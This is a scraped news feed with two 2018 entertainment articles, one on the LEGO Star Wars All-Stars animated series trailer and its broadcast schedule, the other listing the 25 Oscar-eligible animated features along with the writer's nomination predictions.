Star Wars Resistance debuted on The Disney Channel not too long ago, but it’s not the only new animated series coming to TV from a galaxy far, far away.

Disney XD has announced a new animated series called LEGO Star Wars All-Stars, a combination of online shorts and half-hour series episodes that will give us adventures with the building block versions of our favorite Star Wars characters from all eras of the saga. The first LEGO Star Wars All Stars trailer has just arrived, and you can watch below.

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Obviously this is geared more towards kids, as most animated LEGO programming tends to be. There’s some slapstick comedy there, especially involving the Battle Droid who is appropriately named Roger. You know, because they say “Roger, Roger” all the time in the prequels and kids think that shit is hilarious.

Otherwise we also get to see young Han Solo and young Lando Calrissian in action with Chewbacca and L3-37 along with them. General Leia is involved, Kylo Ren and Rey can be seen having a lightsaber battle on Supreme Leader Snoke’s ship, and Captain Phasma and Finn are duking it out again. This makes it seem like this might be a comedic spin on moments from the movies, not unlike how the LEGO Star Wars video games played out cinematics.

The series comes was developed for TV by Bill Motz and Bob Roth, working with Jill Wilfert and Erik Wilstrup as executive producers, all of which worked on LEGO Star Wars: The Freemaker Adventures.

If you (or your kids) are interested, the schedule to catch LEGO Star Wars All-Stars is a little tricky, but stick with us.

First, there will be five LEGO Star Wars All-Stars animated shorts rolled out from Monday, October 29 through Friday November 2 on the Disney XD YouTube channel and the DisneyNow app. Then a compilation special will air the final three shorts on Saturday, November 10 at 11am ET/PT on Disney XD and DisneyNow.

That’s all for the shorts. After that, starting Saturday, November 17 and lasting every Saturday through December 8, there will be four half-hour episodes of LEGO Star Wars All-Stars airing at 11am ET/PT on Disney XD and DisneyNow.

This isn’t exactly the best Star Wars programming, but maybe it’s something that will keep the rugrats occupied while you try to cook Thanksgiving dinner or play Red Dead Redemption 2.

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]]> https://briefnews.eu/animated-lego-star-wars-all-stars-series-trailer-builds-across-every-era-of-star-wars/feed/ 0 Oscars Release List of 25 Films Competing for Animated Feature: Here Are The Ones That Will Probably Make The Cut https://briefnews.eu/oscars-release-list-of-25-films-competing-for-animated-feature-here-are-the-ones-that-will-probably-make-the-cut/ https://briefnews.eu/oscars-release-list-of-25-films-competing-for-animated-feature-here-are-the-ones-that-will-probably-make-the-cut/#respond Wed, 24 Oct 2018 18:07:08 +0000 http://briefnews.eu/oscars-release-list-of-25-films-competing-for-animated-feature-here-are-the-ones-that-will-probably-make-the-cut/ oscars 2019 animated feature

The Academy of Motion Picture Arts and Sciences has officially announced the 25 animated films qualified to compete in this year’s Oscar race. The competing films for the Oscars 2019 animated feature category include Pixar’s superhero sequel Incredibles 2, Disney’s irreverent comedy Ralph Breaks the Internet, Sony’s eye-popping Spider-Man: Into the Spider-Verse, and Wes Anderson’s quirky Isle of Dogs. But there are a handful of anime films jostling for a slot that may just earn the rare non-U.S. studio nomination.

Hollywood loves to reward its own, but this year could be the year that an anime film not from Studio Ghibli gets recognition. No anime film has earned an Oscar nomination since 2014’s When Marnie Was There, which incidentally was one of Studio Ghibli’s last films. With Ghibli and director Hayao Miyazaki out of the picture (though both soon to return), no prominent anime studio or filmmaker has yet to take their place, but the rise of U.S. distributor GKIDS could soon change that.

However, anime films like Mirai, Lu Over the Wall, Fireworks, MFKZ, and The Night is Short, Walk On Girl face fierce competition from heavy-hitters like Pixar and Disney, and film circuit favorites like Wes Anderson. Oh, and we know that everyone loves a superhero. All 25 films will be competing for just five slots in the best animated feature category, with Incredibles 2 and Isle of Dogs likely pushed as front-runners. As far as we can tell, it’s Incredibles 2‘s award to lose, as the critically acclaimed film also scored more than $ 1 billion at the global box office.

The competition has barely begun though, as Variety reports that several of the films have not yet had their Los Angeles qualifying run. All the submitted movies must comply with the qualifying theatrical run before they can even advance to be voted on. Sixteen or more films must qualify for the five slots to be voted on.

See below the list of 25 animated films competing for the Oscar.

Oscars 2019 Animated Feature Competitors

  • Ana y Bruno
  • Dr. Seuss’ The Grinch
  • Early Man
  • Fireworks
  • Have a Nice Day
  • Hotel Transylvania 3: Summer Vacation
  • Incredibles 2
  • Isle of Dogs
  • The Laws of the Universe – Part I
  • Liz and the Blue Bird
  • Lu Over the Wall
  • MFKZ
  • Maquia: When the Promised Flower Blooms
  • Mirai
  • The Night Is Short, Walk on Girl
  • On Happiness Road
  • Ralph Breaks the Internet
  • Ruben Brandt, Collector
  • Sgt. Stubby: An American Hero
  • Sherlock Gnomes
  • Smallfoot
  • Spider-Man: Into the Spider-Verse
  • Tall Tales
  • Teen Titans Go! To the Movies
  • Tito and the Birds

Yes, Sherlock Gnomes is competing for that Oscar. That’d be laughable but let’s not forget that last year, The Boss Baby was a nominee. But I’m going to beat my anime drum once again, and say that it’s director Mamoru Hosoda (who is one of the most promising anime filmmakers today) and his film Mirai that should and will break the stigma against anime films at the Oscars. My dream list also includes the always under-appreciated Nick Park, whose stellar Early Man fell by the wayside.

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What Should Be Nominated

Incredibles 2

Mirai

Spider-Man: Into the Spider-Verse

Isle of Dogs

Early Man

Alas, the Academy doesn’t understand animated films, and several voters have admitted to voting with the animated features that their kids like the best. Again, The Boss Baby was a nominee last year. So I’m going to temper my hopes that the Academy will break their anti-anime bias and predict that the category will once again be dominated by Disney, Pixar, and that yeti movie with Channing Tatum. Hey, Smallfoot got a 75% on Rotten Tomatoes — it’s the most likely possibility. The one “artsy” slot will go to Anderson, as the indie darling is finally getting Oscar recognition after years of being overlooked.

Smallfoot Trailer

What Will Be Nominated

Incredibles 2

Ralph Breaks the Internet

Spider-Man: Into the Spider-Verse

Isle of Dogs

Smallfoot

The 2019 Oscar nominations will be announced January 22, 2019 and the ceremony will air on ABC on February 24, 2019.

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